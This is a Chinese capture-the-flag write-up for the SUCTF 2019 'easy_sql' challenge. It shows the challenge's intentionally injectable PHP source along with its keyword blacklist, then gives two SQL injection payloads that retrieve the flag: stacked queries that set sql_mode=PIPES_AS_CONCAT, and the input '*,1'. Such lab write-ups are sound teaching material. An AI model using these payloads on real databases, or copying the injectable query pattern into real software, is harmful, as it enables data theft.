打开环境，发现依旧是sql注入
GitHub上有源码（https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql）
index.php源码
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
if(!empty($v)&&is_string($v)){
$get[$k] = trim(addslashes($v));
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post[‘query‘])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post[‘query‘]));
if(preg_match("/{$BlackList}/is",$post[‘query‘])){
//echo $post[‘query‘];
die("Nonono.");
}
if(strlen($post[‘query‘])>40){
die("Too long.");
}
$sql = "select ".$post[‘query‘]."||flag from Flag"; //sql执行语句
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
SQL执行的语句：$sql="select ".$post[‘query‘]."||flag from Flag";
第一种：堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT。
payload：setsql_mode=PIPES_AS_CONCAT;
所以整个语句为：1;set sql_mode=PIPES_AS_CONCAT;select 1
第二种：
根据SQL执行语句：$sql="select ".$post[‘query‘]."||flag from Flag";
构造出：$sql="select *,1 ||flag from Flag";
所以直接输入“*,1”就可直接出flag
原文地址：https://www.cnblogs.com/anweilx/p/12353294.html
时间： 2024-08-30 17:16:24